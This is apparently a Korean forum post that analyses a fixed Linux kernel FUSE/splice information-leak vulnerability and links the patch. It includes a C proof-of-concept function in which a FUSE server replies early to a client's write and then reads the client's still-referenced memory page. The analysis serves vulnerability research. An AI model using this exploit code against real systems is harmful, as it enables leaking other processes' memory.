
이 취약점은 정보 유출만 가능한 것 같은데?
패치 링크: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 이 취약점은 주로 splice의 비동기적 특성으로 인해, 사용자 파일시스템 프로세스(서버)가 서비스 요청을 보내는 프로세스(클라이언트)의 메모리 일부를 보유할 수 있게 되는 데서 발생합니다. 파일시스템 프로세스는 write가 닫힌 후에도 write 소스 메모리 페이지에 대한 참조를 계속 유지합니다(파일시스템 프로세스는 읽기 권한만 있으므로, 개인적으로는 위험성이 크지 않다고 생각합니다 :( ).
핵심 로직은 다음과 같습니다. 클라이언트의 page가 pipe에 들어간 후, 먼저 클라이언트에게 fuse write 요청에 대한 응답을 보내 write를 종료시킵니다. 이때 pipe는 여전히 write의 src 페이지에 대한 참조를 유지하고 있으며, write가 종료된 후에 다시 src의 내용을 읽습니다.
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}